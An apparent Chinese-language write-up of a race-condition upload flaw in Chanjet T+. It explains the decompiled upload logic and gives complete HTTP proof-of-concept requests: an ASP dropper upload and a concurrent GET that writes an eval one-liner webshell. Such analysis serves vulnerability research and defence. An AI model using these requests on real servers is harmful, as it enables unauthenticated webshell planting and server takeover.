当前位置: 首页 > article >正文

畅捷通-条件竞争

在这里插入图片描述
反编译dll
在这里插入图片描述
逻辑上很清晰了。取得上传数据然后直接写入Templates目录里去,且写入路径直接拼接文件名,说明写入路径可控。然后马上又调用Delete方法删除文件。看起来貌似很正常的样子,但实际上这里已经出现了严重的安全问题。首先是未限制上传文件的后缀,大概是程序员觉得上传后马上就删除了应该没啥问题。其次是写入路径可控。最后是逻辑顺序设计的不合理,当程序在服务端并发处理用户请求时就会出现问题,如果在文件上传成功后但是在删除它以前这个文件就被执行了那么会怎样呢?
我们假设攻击者上传了一个用来生成恶意shell的文件,在上传完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

然后bp发送poc

POST /tplus/SM/upload/testuploadspeed.aspx HTTP/1.1
Host: 192.168.233.146:8080
Accept:  /
Content-Type:multipart/form-data; boundary=X-INSOMNIA-BOUNDARY
Content-Length: 150
Connection: close
--X-INSOMNIA-BOUNDARY
Content-Disposition: form-data; name="File1";filename="8888.txt"
Content-Type: image/jpeg
8888
--X-INSOMNIA-BOUNDARY--

在这里插入图片描述
可以看到成功上传,在这里插入图片描述
在这里插入图片描述
但是我们查看发现并没有这个文件,说明我们上传的速度没它删除的速度快,那么我们并发执行在这里插入图片描述
可以看到访问200成功,存在条件竞争

那么这里怎么上传webshell呢(这里拿一句话木马做实验)

POST /tplus/SM/upload/testuploadspeed.aspx HTTP/1.1
Host: 192.168.1.8:8080
Accept:  /
Content-Type:multipart/form-data; boundary=X-INSOMNIA-BOUNDARY
Content-Length: 561
Connection: close

--X-INSOMNIA-BOUNDARY
Content-Disposition: form-data; name="File1";filename="test.asp"
Content-Type: image/jpeg

<%
txtcontent    =  request("x")
PromotionPath = "upload.asp"
WriteToHtml PromotionPath,txtcontent
Function WriteToHtml(Fpath,Templet)
Dim FSO
Dim FCr
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FILEExists(Fpath) Then
FSO.deleteFILE Fpath
End If
Set FCr = FSO.CreateTextFile(Server.MapPath(Fpath), True)
FCr.Write(Templet)
FCr.Close
Set FCr = Nothing
Set FSO = Nothing
End Function
%>

--X-INSOMNIA-BOUNDARY--

在这里插入图片描述
通过ASP代码来生成的一句话,传到x参数在这里插入图片描述

GET /tplus/Templates/test.asp?x=%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%28%22%78%22%29%25%3e HTTP/1.1
Host: 192.168.1.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-AjaxPro-Method: HasDemoAccount
X-Requested-With: XMLHttpRequest
Origin: http://192.168.1.8:8080
Connection: close
Referer: http://192.168.1.8:8080/tplus/view/login.html
Cookie: ASP.NET_SessionId=1jrpbndwuqi4cnu5dj204mn3; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1712566102; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1712585308


在这里插入图片描述
这里404是因为我们发送了一次,立马又被删了
进行并发操作在这里插入图片描述
在这里插入图片描述
可以看到返回200,能够读取到文件在这里插入图片描述
可以看到成功上传一句话木马在这里插入图片描述


http://www.kler.cn/a/450097.html

相关文章:

  • # 起步专用 - 哔哩哔哩全模块超还原设计!(内含接口文档、数据库设计)
  • layui动态拼接生成下拉框验证必填项失效问题
  • HTML基础学习(1)
  • 利用.NET Upgrade Assitant对项目进行升级
  • Golang学习历程【第三篇 基本数据类型类型转换】
  • python round四舍五入和decimal库精确四舍五入
  • 前端开发 之 12个鼠标交互特效上【附完整源码】
  • 120页PPT讲解ChatGPT如何与财务数字化转型的业财融合
  • Scala_【2】变量和数据类型
  • 批量生成二维码,助力数字化管理-Excel易用宝
  • Debezium日常分享系列之:Debezium 3.0.5.Final发布
  • 腾讯云云开发 Copilot具有以下优势
  • 外连接转AntiJoin的应用场景与限制条件 | OceanBase SQL 查询改写系列
  • 微服务——数据管理与一致性
  • [前端]mac安装nvm(node.js)多版本管理
  • sqoop,flume草稿
  • animatediff 模型网盘分享
  • 专业的内外网数据交换方案 可解决安全、效率、便捷3大问题
  • 单例Bean
  • 数据迁移工具,用这8种!
  • 探索Moticon智能传感器鞋垫OpenGo的功能与优势
  • AI领域年度精彩报告┆国家优青马超教授:自动驾驶多模态场景理解与生成
  • 有监督学习 vs 无监督学习:机器学习的两大支柱
  • Vue.js组件开发-路由与视图切换
  • web-密码安全口令
  • Java内存区域进一步详解